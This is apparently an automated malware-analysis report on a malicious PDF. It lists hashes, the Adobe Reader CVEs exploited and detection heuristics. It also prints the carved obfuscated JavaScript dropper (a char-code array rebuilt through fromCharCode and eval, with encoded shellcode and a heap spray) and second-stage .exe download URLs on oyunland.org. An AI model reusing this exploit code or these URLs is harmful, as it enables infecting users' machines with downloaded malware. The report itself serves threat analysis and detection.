PDF malware analysis — malicious · 75e9ca03b88ba39d

MALICIOUS

PDF

75.4 KB Created: 2010-01-01 19:42:01 Authoring application: PDF Library 4.1.5 (via PDF Library 3.7.6) First seen: 2012-07-12

MD5: cda460ea450c560254e56b89da4b88ed SHA-1: 7fe894210b66f2e90cb437fa578bef5f95acf6d2 SHA-256: 75e9ca03b88ba39d3cf6176a31c993d3e374719dd8a339dce685a15ec0227d7f

590 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple CVEs in Adobe Reader (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to achieve code execution. The deobfuscated JavaScript indicates it downloads a second-stage payload from the URLs provided. The primary purpose appears to be the execution of a downloaded executable.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://oyunland.org/fragus/amqwx2.exe Referenced by PDF JavaScript
- http://oyunland.org/fragus/click.php?r=Referenced by PDF JavaScript
- http://oyunland.org/fragus/fhmtv2.exeReferenced by PDF JavaScript
- http://oyunland.org/fragus/fknqx2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38110 bytes
SHA-256: `0fa19c10b2beb64341ac559d3db13ee702f8c5a5f4fcd87ad12f4c6da19351de`
Preview script First 1,000 lines of the extracted script var abeqru=32024;himq='';skzg="skzg";wdpzu=65082;adfhis="";gnoqsv=56047;aijtx="";bcfhw="bcfhw";bcdgju=false;dixy='';cfry="cfry";fjlqu='';bdgko="";iyzvjf=true;var dfjklx=true,astx=58872,eflw='',tmhzav="",bdekly=0,aikpru=String,einx=aikpru['fGrpoQmyCyhGaDryCQoQdGeQ'.replace(/[QGpyD]/g,'')],dznlo=String,zmsjtr=dznlo['efvPaflc'.replace(/[cNP2f]/g,'')],fghmos="52",bcnqr="",dgmotu=[66,60,62,152,170,160,152,166,158,161,163,82,155,155,173,145,158,166,93,171,150,164,168,162,97,82,161,151,163,91,176,63,63,59,62,169,157,155,161,151,85,90,174,147,167,165,165,96,161,151,163,153,169,154,85,92,85,100,85,110,85,158,154,160,94,173,66,60,62,59,62,171,150,164,168,162,85,93,114,82,174,147,167,165,165,109,66,60,62,59,178,63,63,59,62,171,150,164,168,162,85,111,85,171,150,164,168,162,99,165,170,148,168,166,167,155,163,153,93,98,97,82,161,151,163,97,103,91,112,63,63,59,62,164,154,166,170,164,163,82,174,147,167,165,165,109,66,60,62,175,66,60,66,60,62,152,170,160,152,166,158,161,163,82,170,166,158,158,148,162,167,155,163,166,155,90,94,173,66,60,62,59,171,147,167,82,165,147,174,158,164,147,153,82,114,82,170,160,154,165,152,147,165,151,93,84,90,167,122,116,122,107,90,167,101,98,101,99,90,167,106,104,101,98,90,167,118,99,107,102,90,167,101,98,104,98,90,167,101,98,101,98,90,167,105,98,109,116,90,167,109,116,101,117,90,167,102,117,108,98,90,167,109,116,118,118,90,167,101,106,105,98,90,167,120,101,106,119,90,167,109,116,106,103,90,167,109,116,122,117,90,167,101,106,105,103,90,167,104,101,106,100,90,167,120,99,121,100,90,167,101,101,120,100,90,167,102,98,104,100,90,167,109,98,105,98,90,167,101,98,104,106,90,167,123,103,108,103,90,167,120,100,109,116,90,167,106,118,106,115,90,167,101,102,120,100,90,167,106,103,101,98,90,167,122,117,109,116,90,167,106,99,106,99,90,167,106,104,106,101,90,167,107,98,106,105,90,167,106,118,109,116,90,167,104,101,101,106,90,167,109,116,120,98,90,167,101,117,108,103,90,167,123,119,109,116,90,167,108,104,101,101,90,167,109,116,104,117,90,167,108,106,105,119,90,167,120,120,101,101,90,167,106,99,109,116,90,167,106,100,102,117,90,167,106,99,109,116,90,167,106,100,103,102,90,167,108,99,109,116,90,167,105,119,102,102,90,167,108,103,109,107,90,167,109,116,123,117,90,167,103,98,108,99,90,167,123,105,101,101,90,167,105,115,110,107,90,167,105,100,118,118,90,167,104,116,107,98,90,167,123,117,106,103,90,167,101,102,108,103,90,167,120,98,104,101,90,167,104,105,122,116,90,167,123,120,104,101,90,167,105,103,101,101,90,167,110,105,101,117,90,167,120,120,109,116,90,167,108,103,118,119,90,167,103,116,123,118,90,167,105,120,123,107,90,167,122,106,106,99,90,167,123,120,110,102,90,167,123,120,123,120,90,167,120,101,104,116,90,167,108,102,107,99,90,167,122,116,101,100,90,167,109,116,121,107,90,167,101,117,105,103,90,167,106,119,110,100,90,167,123,100,101,101,90,167,122,98,121,99,90,167,120,104,101,101,90,167,120,107,104,101,90,167,119,105,101,120,90,167,106,120,101,106,90,167,122,99,120,99,90,167,101,101,101,100,90,167,101,101,120,115,90,167,109,116,120,120,90,167,101,101,101,99,90,167,109,107,120,100,90,167,123,106,105,103,90,167,109,116,107,99,90,167,123,106,105,103,90,167,106,119,106,120,90,167,120,107,106,116,90,167,106,103,120,101,90,167,122,117,109,116,90,167,122,106,106,99,90,167,123,120,105,107,90,167,123,120,123,120,90,167,107,106,106,98,90,167,107,98,122,106,90,167,101,102,119,120,90,167,107,117,122,106,90,167,123,120,123,120,90,167,104,101,123,120,90,167,106,100,121,100,90,167,123,120,106,100,90,167,101,106,108,103,90,167,121,98,123,120,90,167,105,103,109,107,90,167,109,116,123,117,90,167,123,117,105,103,90,167,120,101,120,107,90,167,109,116,106,103,90,167,109,101,122,117,90,167,101,117,122,117,90,167,105,103,109,118,90,167,106,98,123,102,90,167,105,103,120,104,90,167,108,103,123,102,90,167,105,103,120,104,90,167,108,100,123,103,90,167,105,103,120,104,90,167,107,117,123,104,90,167,105,103,120,104,90,167,107,118,123,105,90,167,105,103,120,104,90,167,107,120,123,106,90,167,105,103,120,104,90,167,107,119,123,107,90,167,105,103,120,104,90,167,103,119,123,115,90,167,105,103,120,104,90,167,107,102,123,116,90,167,105,103,120,104,90,167,107,117,123,117,90,167,105,103,120,104,90,167,107,117,123,118,90,167,105,103,120,104,90,167,101,98,123,119,90,167,118,98,122,106,90,167,123,120,123,120,90,167,106,98,123,120,90,167,106,118,107,106,90,167,102,99,109,115,90,167,122,106,102,104,90,167,123,120,102,103,90,167,123,120,123,120,90,167,120,102,109,101,90,167,109,103,101,117,90,167,108,102,120,98,90,167,107,115,102,103,90,167,107,115,101,98,90,167,123,120,101,98,90,167,101,117,108,103,90,167,108,103,123,120,90,167,107,115,101,106,90,167,123,120,101,98,90,167,109,103,121,98,90,167,108,103,120,98,90,167,105,98,101,101,90,167,120,101,120,107,90,167,120,98,104,101,90,167,120,101,120,107,90,167,104,101,106,105,90,167,109,116,120,98,90,167,103,102,105,117,90,167,109,116,101,117,90,167,103,102,108,117,90,167,123,117,101,106,90,167,118,115,123,101,90,167,120,101,106,120,90,167,105,117,109,116,90,167,101,102,103,102,90,167,104,107,109,98,90,167,109,116,101,98,90,167,108,102,120,99,90,167,105,98,101,104,90,167,104,106,109,98,90,167,108,103,101,98,90,167,103,116,123,115,90,167,120,101,120,99,90,167,109,116,106,103,90,167,109,101,122,117,90,167,107,102,122,117,90,167,109,118,106,101,90,167,123,98,105,103,90,167,104,101,106,105,90,167,106,98,121,116,90,167,105,103,120,104,90,167,107,116,123,98,90,167,105,103,120,104,90,167,107,103,123,99,90,167,105,103,120,104,90,167,108,100,123,100,90,167,105,103,120,104,90,167,107,119,123,101,90,167,105,103,120,104,90,167,107,103,123,102,90,167,105,103,120,104,90,167,107,117,123,103,90,167,105,103,120,104,90,167,104,101,123,104,90,167,105,103,120,104,90,167,104,100,123,105,90,167,105,103,120,104,90,167,103,119,123,106,90,167,105,103,120,104,90,167,107,102,123,107,90,167,105,103,120,104,90,167,107,117,123,115,90,167,105,103,120,104,90,167,107,117,123,116,90,167,106,118,109,106,90,167,122,106,123,117,90,167,123,120,101,116,90,167,123,120,123,120,90,167,107,106,106,98,90,167,105,101,107,106,90,167,109,119,123,107,90,167,109,98,122,106,90,167,123,120,123,119,90,167,109,116,123,120,90,167,109,118,123,106,90,167,110,117,105,103,90,167,105,102,107,115,90,167,122,106,106,98,90,167,123,120,108,119,90,167,123,120,123,120,90,167,105,103,109,118,90,167,107,115,122,98,90,167,106,98,102,98,90,167,108,101,122,106,90,167,123,120,123,120,90,167,109,101,123,120,90,167,102,117,120,102,90,167,105,103,109,118,90,167,106,98,122,98,90,167,105,103,109,118,90,167,106,98,110,117,90,167,106,101,106,101,90,167,106,101,106,101,90,167,106,101,106,101,90,167,108,103,123,120,90,167,120,105,101,106,90,167,110,117,105,103,90,167,101,98,105,102,90,167,101,98,101,98,90,167,123,120,106,101,90,167,106,120,121,105,90,167,119,104,101,120,90,167,106,116,120,98,90,167,120,101,120,107,90,167,109,116,106,103,90,167,106,99,122,117,90,167,106,101,106,99,90,167,106,105,106,104,90,167,105,100,107,115,90,167,108,100,122,106,90,167,101,98,101,98,90,167,109,116,101,98,90,167,104,101,121,106,90,167,109,103,123,104,90,167,106,107,121,116,90,167,105,103,120,105,90,167,107,99,123,106,90,167,107,103,103,119,90,167,120,105,108,106,90,167,123,117,105,103,90,167,101,98,107,103,90,167,101,98,101,98,90,167,106,104,108,119,90,167,105,103,109,118,90,167,106,98,123,106,90,167,122,106,106,104,90,167,101,98,106,99,90,167,101,98,101,98,90,167,106,98,106,107,90,167,119,99,122,106,90,167,123,120,123,119,90,167,109,103,123,120,90,167,106,107,120,98,90,167,108,102,106,107,90,167,109,118,104,107,90,167,101,99,105,104,90,167,122,106,106,98,90,167,101,98,104,116,90,167,101,98,101,98,90,167,123,106,109,116,90,167,105,103,109,118,90,167,106,98,123,106,90,167,103,99,122,106,90,167,123,120,123,120,90,167,109,103,123,120,90,167,106,107,120,98,90,167,108,102,106,107,90,167,106,105,101,117,90,167,101,99,122,106,90,167,123,120,123,120,90,167,106,107,123,120,90,167,105,102,120,104,90,167,123,120,104,106,90,167,106,98,108,101,90,167,105,103,109,118,90,167,123,119,123,106,90,167,106,106,101,98,90,167,105,103,109,118,90,167,106,98,123,106,90,167,122,106,106,105,90,167,123,119,108,102,90,167,123,120,123,120,90,167,106,107,106,107,90,167,105,104,105,104,90,167,123,101,104,116,90,167,118,115,108,117,90,167,106,119,106,120,90,167,120,107,106,116,90,167,106,103,120,101,90,167,122,117,109,116,90,167,106,101,106,99,90,167,107,98,107,104,90,167,104,100,119,99,90,167,101,98,122,106,90,167,101,98,101,98,90,167,106,106,101,98,90,167,101,106,104,106,90,167,101,101,108,102,90,167,122,116,105,98,90,167,105,98,123,107,90,167,106,118,109,116,90,167,109,98,101,106,90,167,105,100,123,116,90,167,101,106,108,103,90,167,121,116,104,101,90,167,102,106,109,115,90,167,120,101,109,116,90,167,102,105,122,116,90,167,102,106,104,106,90,167,102,99,108,104,90,167,104,101,105,98,90,167,109,102,120,107,90,167,108,102,121,116,90,167,105,98,101,117,90,167,101,106,104,106,90,167,123,116,108,103,90,167,123,119,105,98,90,167,122,116,120,116,90,167,104,101,123,100,90,167,109,107,120,98,90,167,123,117,105,103,90,167,105,103,109,116,90,167,106,116,123,117,90,167,120,101,120,107,90,167,101,100,104,100,90,167,108,102,107,106,90,167,108,98,108,102,90,167,103,120,104,115,90,167,107,120,103,120,90,167,108,103,108,107,90,167,107,117,107,119,90,167,107,119,107,99,90,167,103,119,107,102,90,167,108,100,107,120,90,167,103,120,107,105,90,167,108,100,107,104,90,167,107,105,107,99,90,167,108,101,108,103,90,167,107,99,103,120,90,167,108,99,107,118,90,167,108,106,108,105,90,167,103,119,104,100,90,167,108,106,107,103,90,167,101,98,107,103,90,167,108,102,107,106,90,167,108,98,108,102,90,167,103,120,104,115,90,167,107,120,103,120,90,167,108,103,108,107,90,167,107,117,107,119,90,167,107,119,107,99,90,167,103,119,107,102,90,167,108,100,107,120,90,167,103,120,107,105,90,167,108,100,107,104,90,167,107,105,107,99,90,167,108,101,108,103,90,167,107,101,103,120,90,167,107,107,107,117,90,167,107,116,107,101,90,167,108,98,103,119,90,167,108,98,107,106,90,167,108,100,104,120,90,167,101,98,104,118,87,91,112,63,63,59,62,168,150,164,85,160,164,162,85,111,85,167,163,151,168,149,150,162,154,90,87,87,170,98,118,98,118,87,170,98,118,98,118,87,170,98,118,98,118,87,170,98,118,98,118,84,94,63,63,59,62,168,150,164,85,154,154,147,165,148,161,161,152,157,85,111,85,160,164,162,85,93,85,162,150,171,161,161,150,150,112,63,63,59,62,168,150,164,85,148,158,153,151,158,164,149,160,82,114,82,170,160,154,165,152,147,165,151,93,84,90,167,101,115,101,115,90,167,101,115,101,115,87,91,112,63,63,59,62,168,150,164,85,154,154,147,153,151,167,165,158,172,154,82,114,82,103,98,112,63,63,59,62,168,150,164,85,165,165,164,150,171,85,111,85,154,154,147,153,151,167,165,158,172,154,82,96,82,157,151,150,162,151,158,164,149,160,96,161,151,163,153,169,154,112,63,63,59,62,169,157,155,161,151,85,90,151,155,156,148,161,161,152,157,99,158,154,160,156,166,157,82,113,82,168,162,167,147,174,91,176,63,63,59,62,59,151,155,156,148,161,161,152,157,85,93,114,82,151,155,156,148,161,161,152,157,112,63,63,59,62,175,66,60,62,59,171,147,167,82,155,155,161,158,151,158,164,149,160,82,114,82,151,155,156,148,161,161,152,157,99,165,170,148,168,166,167,155,163,153,93,98,97,82,168,162,167,147,174,91,112,63,63,59,62,168,150,164,85,148,161,161,152,157,85,111,85,148,158,153,151,158,164,149,160,96,168,167,151,165,169,164,158,160,156,90,101,94,85,148,158,153,151,158,164,149,160,96,161,151,163,153,169,154,98,165,165,164,150,171,94,109,66,60,62,59,172,154,158,158,154,82,93,148,161,161,152,157,99,158,154,160,156,166,157,93,168,162,167,147,174,82,113,82,101,170,105,98,101,98,101,91,176,63,63,59,62,59,151,158,164,149,160,82,114,82,151,158,164,149,160,82,96,82,151,158,164,149,160,82,96,82,155,155,161,158,151,158,164,149,160,109,66,60,62,59,178,63,63,59,62,168,150,164,85,159,154,159,148,147,167,164,150,171,85,111,85,160,154,169,85,115,167,164,150,171,93,91,112,63,63,59,62,152,164,164,85,90,171,147,167,82,158,82,114,82,101,109,85,155,85,110,85,99,105,98,101,109,85,155,96,93,94,173,66,60,62,59,62,159,154,159,148,147,167,164,150,171,144,155,146,82,114,82,151,158,164,149,160,82,96,82,157,151,150,162,151,158,164,149,160,109,66,60,62,59,178,63,63,59,62,168,150,164,85,160,170,159,85,111,85,99,103,107,110,107,110,107,110,107,110,107,110,107,110,107,110,107,110,107,110,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,106,109,109,66,60,62,59,170,166,158,158,99,162,167,155,163,166,155,90,87,87,105,103,101,98,101,152,87,94,85,160,170,159,94,109,66,60,62,175,66,60,66,60,62,152,170,160,152,166,158,161,163,82,152,161,161,158,150,148,148,151,162,147,158,158,93,91,176,63,63,59,62,168,150,164,85,165,157,151,161,158,152,161,153,151,85,111,85,167,163,151,168,149,150,162,154,90,87,87,170,119,119,119,110,87,170,98,101,98,102,87,170,103,107,98,101,87,170,115,102,104,105,87,170,98,101,101,101,87,170,98,101,98,101,87,170,102,101,106,119,87,170,106,119,98,120,87,170,99,120,105,101,87,170,106,119,115,121,87,170,98,109,102,101,87,170,117,104,103,122,87,170,106,119,103,106,87,170,106,119,119,120,87,170,98,109,102,106,87,170,101,104,103,103,87,170,117,102,118,103,87,170,98,104,117,103,87,170,99,101,101,103,87,170,106,101,102,101,87,170,98,101,101,109,87,170,120,106,105,106,87,170,117,103,106,119,87,170,103,121,103,118,87,170,98,105,117,103,87,170,103,106,98,101,87,170,119,120,106,119,87,170,103,102,103,102,87,170,103,107,103,104,87,170,104,101,103,108,87,170,103,121,106,119,87,170,101,104,98,109,87,170,106,119,117,101,87,170,98,120,105,106,87,170,120,122,106,119,87,170,105,107,98,104,87,170,106,119,101,120,87,170,105,109,102,122,87,170,117,123,98,104,87,170,103,102,106,119,87,170,103,103,99,120,87,170,103,102,106,119,87,170,103,103,100,105,87,170,105,102,106,119,87,170,102,122,99,105,87,170,105,106,106,110,87,170,106,119,120,120,87,170,100,101,105,102,87,170,120,108,98,104,87,170,102,118,107,110,87,170,102,103,115,121,87,170,101,119,104,101,87,170,120,120,103,106,87,170,98,105,105,106,87,170,117,101,101,104,87,170,101,108,119,119,87,170,120,123,101,104,87,170,102,106,98,104,87,170,107,108,98,120,87,170,117,123,106,119,87,170,105,106,115,122,87,170,100,119,120,121,87,170,102,123,120,110,87,170,119,109,103,102,87,170,120,123,107,105,87,170,120,123,120,123,87,170,117,104,101,119,87,170,105,105,104,102,87,170,119,119,98,103,87,170,106,119,118,110,87,170,98,120,102,106,87,170,103,122,107,103,87,170,120,103,98,104,87,170,119,101,118,102,87,170,117,107,98,104,87,170,117,110,101,104,87,170,116,108,98,123,87,170,103,123,98,109,87,170,119,102,117,102,87,170,98,104,98,103,87,170,98,104,117,118,87,170,106,119,117,123,87,170,98,104,98,102,87,170,106,110,117,103,87,170,120,109,102,106,87,170,106,119,104,102,87,170,120,109,102,106,87,170,103,122,103,123,87,170,117,110,103,119,87,170,103,106,117,104,87,170,119,120,106,119,87,170,119,109,103,102,87,170,120,123,102,110,87,170,120,123,120,123,87,170,104,109,103,101,87,170,104,101,119,109,87,170,98,105,116,123,87,170,104,120,119,109,87,170,120,123,120,123,87,170,101,104,120,123,87,170,103,103,118,103,87,170,120,123,103,103,87,170,98,109,105,106,87,170,118,101,120,123,87,170,102,106,106,110,87,170,106,119,120,120,87,170,120,120,102,106,87,170,117,104,117,110,87,170,106,119,103,106,87,170,106,104,119,120,87,170,98,120,119,120,87,170,102,106,106,121,87,170,103,101,120,105,87,170,102,106,117,107,87,170,105,106,120,105,87,170,102,106,117,107,87,170,105,103,120,106,87,170,102,106,117,107,87,170,104,120,120,107,87,170,102,106,117,107,87,170,104,121,120,108,87,170,102,106,117,107,87,170,104,123,120,109,87,170,102,106,117,107,87,170,104,122,120,110,87,170,102,106,117,107,87,170,100,122,120,118,87,170,102,106,117,107,87,170,104,105,120,119,87,170,102,106,117,107,87,170,104,120,120,120,87,170,102,106,117,107,87,170,104,120,120,121,87,170,102,106,117,107,87,170,98,101,120,122,87,170,115,101,119,109,87,170,120,123,120,123,87,170,103,101,120,123,87,170,103,121,104,109,87,170,99,102,106,118,87,170,119,109,99,107,87,170,120,123,99,106,87,170,120,123,120,123,87,170,117,105,106,104,87,170,106,106,98,120,87,170,105,105,117,101,87,170,104,118,99,106,87,170,104,118,98,101,87,170,120,123,98,101,87,170,98,120,105,106,87,170,105,106,120,123,87,170,104,118,98,109,87,170,120,123,98,101,87,170,106,106,118,101,87,170,105,106,117,101,87,170,102,101,98,104,87,170,117,104,117,110,87,170,117,101,101,104,87,170,117,104,117,110,87,170,101,104,103,108,87,170,106,119,117,101,87,170,100,105,102,120,87,170,106,119,98,120,87,170,100,105,105,120,87,170,120,120,98,109,87,170,115,118,120,104,87,170,117,104,103,123,87,170,102,120,106,119,87,170,98,105,100,105,87,170,101,110,106,101,87,170,106,119,98,101,87,170,105,105,117,102,87,170,102,101,98,107,87,170,101,109,106,101,87,170,105,106,98,101,87,170,100,119,120,118,87,170,117,104,117,102,87,170,106,119,103,106,87,170,106,104,119,120,87,170,104,105,119,120,87,170,106,121,103,104,87,170,120,101,102,106,87,170,101,104,103,108,87,170,103,101,118,119,87,170,102,106,117,107,87,170,104,119,120,101,87,170,102,106,117,107,87,170,104,106,120,102,87,170,102,106,117,107,87,170,105,103,120,103,87,170,102,106,117,107,87,170,104,122,120,104,87,170,102,106,117,107,87,170,104,106,120,105,87,170,102,106,117,107,87,170,104,120,120,106,87,170,102,106,117,107,87,170,101,104,120,107,87,170,102,106,117,107,87,170,101,103,120,108,87,170,102,106,117,107,87,170,100,122,120,109,87,170,102,106,117,107,87,170,104,105,120,110,87,170,102,106,117,107,87,170,104,120,120,118,87,170,102,106,117,107,87,170,104,120,120,119,87,170,103,121,106,109,87,170,119,109,120,120,87,170,120,123,98,119,87,170,120,123,120,123,87,170,104,109,103,101,87,170,102,104,104,109,87,170,106,122,120,110,87,170,106,101,119,109,87,170,120,123,120,122,87,170,106,119,120,123,87,170,106,121,120,109,87,170,107,120,102,106,87,170,102,105,104,118,87,170,119,109,103,101,87,170,120,123,105,122,87,170,120,123,120,123,87,170,102,106,106,121,87,170,104,118,119,101,87,170,103,101,99,101,87,170,105,104,119,109,87,170,120,123,120,123,87,170,106,104,120,123,87,170,99,120,117,105,87,170,102,106,106,121,87,170,103,101,119,101,87,170,102,106,106,121,87,170,103,101,107,120,87,170,103,104,103,104,87,170,103,104,103,104,87,170,103,104,103,104,87,170,105,106,120,123,87,170,117,108,98,109,87,170,107,120,102,106,87,170,98,101,102,105,87,170,98,101,98,101,87,170,120,123,103,104,87,170,103,123,118,108,87,170,116,107,98,123,87,170,103,119,117,101,87,170,117,104,117,110,87,170,106,119,103,106,87,170,103,102,119,120,87,170,103,104,103,102,87,170,103,108,103,107,87,170,102,103,104,118,87,170,105,103,119,109,87,170,98,101,98,101,87,170,106,119,98,101,87,170,101,104,118,109,87,170,106,106,120,107,87,170,103,110,118,119,87,170,102,106,117,108,87,170,104,102,120,109,87,170,104,106,100,122,87,170,117,108,105,109,87,170,120,120,102,106,87,170,98,101,104,106,87,170,98,101,98,101,87,170,103,107,105,122,87,170,102,106,106,121,87,170,103,101,120,109,87,170,119,109,103,107,87,170,98,101,103,102,87,170,98,101,98,101,87,170,103,101,103,110,87,170,116,102,119,109,87,170,120,123,120,122,87,170,106,106,120,123,87,170,103,110,117,101,87,170,105,105,103,110,87,170,106,121,101,110,87,170,98,102,102,107,87,170,119,109,103,101,87,170,98,101,101,119,87,170,98,101,98,101,87,170,120,109,106,119,87,170,102,106,106,121,87,170,103,101,120,109,87,170,100,102,119,109,87,170,120,123,120,123,87,170,106,106,120,123,87,170,103,110,117,101,87,170,105,105,103,110,87,170,103,108,98,120,87,170,98,102,119,109,87,170,120,123,120,123,87,170,103,110,120,123,87,170,102,105,117,107,87,170,120,123,101,109,87,170,103,101,105,104,87,170,102,106,106,121,87,170,120,122,120,109,87,170,103,109,98,101,87,170,102,106,106,121,87,170,103,101,120,109,87,170,119,109,103,108,87,170,120,122,105,105,87,170,120,123,120,123,87,170,103,110,103,110,87,170,102,107,102,107,87,170,120,104,101,119,87,170,115,118,105,120,87,170,103,122,103,123,87,170,117,110,103,119,87,170,103,106,117,104,87,170,119,120,106,119,87,170,103,104,103,102,87,170,104,101,104,107,87,170,101,103,116,102,87,170,98,101,119,109,87,170,98,101,98,101,87,170,103,109,98,101,87,170,98,109,101,109,87,170,98,104,105,105,87,170,119,119,102,101,87,170,102,101,120,110,87,170,103,121,106,119,87,170,106,101,98,109,87,170,102,103,120,119,87,170,98,109,105,106,87,170,118,119,101,104,87,170,99,109,106,118,87,170,117,104,106,119,87,170,99,108,119,119,87,170,99,109,101,109,87,170,99,102,105,107,87,170,101,104,102,101,87,170,106,105,117,110,87,170,105,105,118,119,87,170,102,101,98,120,87,170,98,109,101,109,87,170,120,119,105,106,87,170,120,122,102,101,87,170,119,119,117,119,87,170,101,104,120,103,87,170,106,110,117,101,87,170,120,120,102,106,87,170,102,106,106,119,87,170,103,119,120,120,87,170,117,104,117,110,87,170,98,103,101,103,87,170,105,105,104,109,87,170,105,101,105,105,87,170,100,123,101,118,87,170,104,123,100,123,87,170,105,106,105,110,87,170,104,120,104,122,87,170,104,122,104,102,87,170,100,122,104,105,87,170,105,103,104,123,87,170,100,123,104,108,87,170,105,103,104,107,87,170,104,108,104,102,87,170,105,104,105,106,87,170,104,107,100,123,87,170,104,121,104,109,87,170,105,107,105,105,87,170,100,122,101,103,87,170,105,109,104,106,87,170,98,101,104,106,87,170,105,105,104,109,87,170,105,101,105,105,87,170,100,123,101,118,87,170,104,123,100,123,87,170,105,106,105,110,87,170,104,120,104,122,87,170,104,122,104,102,87,170,100,122,104,105,87,170,105,103,104,123,87,170,100,123,104,108,87,170,105,103,104,107,87,170,104,108,104,102,87,170,105,104,105,106,87,170,104,104,100,123,87,170,104,110,104,120,87,170,104,119,104,104,87,170,105,101,100,122,87,170,105,101,104,109,87,170,105,103,101,123,87,170,98,101,101,121,84,94,109,66,60,62,59,171,147,167,82,162,151,162,145,150,164,167,147,174,82,114,82,163,151,172,82,118,164,167,147,174,90,94,109,66,60,62,59,171,147,167,82,152,149,85,111,85,98,173,98,152,98,152,98,152,98,152,109,66,60,62,59,171,147,167,82,150,150,153,164,85,111,85,98,173,102,101,98,101,98,101,109,66,60,62,59,171,147,167,82,168,149,148,158,154,160,85,111,85,165,157,151,161,158,152,161,153,151,99,158,154,160,156,166,157,82,95,82,103,109,66,60,62,59,171,147,167,82,161,151,163,82,114,82,150,150,153,164,85,95,85,90,168,149,148,158,154,160,96,98,173,101,109,91,112,63,63,59,62,168,150,164,85,171,150,164,168,162,85,111,85,167,163,151,168,149,150,162,154,90,87,87,170,107,101,107,101,87,170,107,101,107,101,84,94,109,66,60,62,59,174,147,167,165,165,82,114,82,155,155,173,145,158,166,93,171,150,164,168,162,97,82,161,151,163,91,112,63,63,59,62,168,150,164,85,149,164,167,163,166,103,82,114,82,93,149,152,82,98,82,101,170,105,98,101,98,101,98,94,97,150,150,153,164,112,63,63,59,62,152,164,164,85,90,171,147,167,82,152,161,170,160,169,82,114,82,101,109,85,149,164,167,163,166,85,110,85,149,164,167,163,166,103,109,85,149,164,167,163,166,96,93,94,173,66,60,62,59,62,159,154,159,148,147,167,